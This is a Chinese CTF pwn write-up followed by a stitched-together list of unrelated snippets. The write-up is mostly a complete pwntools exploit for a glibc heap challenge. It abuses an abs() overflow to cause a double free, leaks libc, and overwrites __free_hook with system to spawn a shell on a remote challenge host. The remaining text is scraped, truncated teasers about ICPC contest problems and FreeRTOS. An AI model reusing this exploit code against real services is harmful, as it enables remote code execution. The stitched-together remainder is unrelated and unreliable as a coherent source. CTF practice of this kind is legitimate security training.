abs函数(取绝对值)的溢出使得为负数然后改size构造2个指针指向同一chunk完成一次double free为远程ubuntu18即可以直接打free_hook
exp:
from pwn import *
#p=process('./pwn')
p=remote('node3.buuoj.cn',26942)
elf=ELF('./pwn')
libc=elf.libc
def add(size,content):
p.sendlineafter('Exit','1')
p.sendlineafter('Size:',str(size))
p.sendlineafter('Content:',content)
def edit(idx,wher,content):
p.sendlineafter('Exit','2')
p.sendlineafter('?',str(idx))
p.sendlineafter('?',str(wher))
p.sendlineafter('Content:',content)
def delete(idx):
p.sendlineafter('Exit','3')
p.sendlineafter('?',str(idx))
def show(idx):
p.sendlineafter('Exit','4')
p.sendlineafter('?',str(idx))
for i in range(20):
add(2,'/bin/sh\x00')
payload='\x11'*0x18+p64(0x481)
edit(0,0x80000000,payload)
delete(0)
add(2,'aaaa')
show(1)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-96-0x10
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
add(2,'bbbb')
delete(1)
delete(21)
add(2,p64(free_hook))
add(2,'doudou')
add(2,p64(system))
#show(6)
delete(18)
p.interactive()
G Substring hash+滑动窗口即可。 问多个串在原串特殊出现次数。即:首位相同,中间字符出现次数相同。 那我们可以把首位乘上131进制的2个固定位。然后中间字符每个字符按字符种类赋予相应的位。 最后hash相同的就是特殊相同的2个串 每个长度m的询问字符串,只需要滑动窗口存进unordered里,复杂度On q次Oq*n 会T; 但题目保证长度和小于100000,所以不同长度的字符串最...
A B C D E F G H I J K L 补 sineMora cycleke cycleke 补 OwenCreeper 补 . . sineMora x cycleke 这次网络赛中途出现了一些策略上的失误,中途全队都在查F代码,还在E上花了太长的时间, 没有及时弃掉。 这里写一下我做(补)的题的简要题解。 A.Lightning Routing I 题意:给出一棵带边权树,每次修改一条...
The Preliminary Contest for ICPC Asia Shanghai 2019 上海网络赛 B. Light bulbs 写法1:线段树,节点维护区间亮灯数量...
题目链接:2019 ICPC Asia Shanghai - A Simple Problem On A Tree 一道码农题。可能出题人想锻炼我们的代码能力。QAQ 就是线段树维护三次方,然后转到树上,就用树剖维护即可。 特别要注意几个lazy的转换。优先级也要注意。 AC代码:...
https://ac.nowcoder.com/acm/contest/4370/B 判断是否有数是另一个数的前缀,字典树模板。...
The Preliminary Contest for ICPC Asia Shanghai 2019 B. Light bulbs 题目 有n盏灯,初始都是灭的状态,m次操作,每次操作将一个区间的灯状态改变,问最终操作完成后几盏灯是亮着的。 分析 注意到 1e3 的样例,n 最大 1e6,就是说 On 会超时, 这类问题显然用差分做,求完差分数组,用前缀和恢复原来数组时,不用遍历完,只需要考虑区...
复杂度分析,询问一千次,区间长1e6,O(1e9)超时。 那么我们知道对于差分来说,没必要一个一个求,只需要知道区间长就可以了,所以我们定义结构体差分节点,一个头结点,一个尾节点。 这样tail.loc-head.loc就是整个区间长,该区间的实际的大小就是 Add标记的大小,Add标记就是从头加到尾。 排序2*m个差分节点,对于loc相同的节点,说明是同一个位置的差分,add合并就可以了,不需要...
STM32之FreeRTOS:(一) 中断配置和临界段的使用 文章目录 STM32之FreeRTOS:(一) 中断配置和临界段的使用 前言 一、stm32的NVIC 分组配置 二、FreeRTOS 相关API函数 1.开关中断 2.临界段代码 1、taskENTER_CRITICAL()和 taskEXIT_CRITICAL()任务级临界代码保护使用方法如下: 2. taskENTER_CRITI...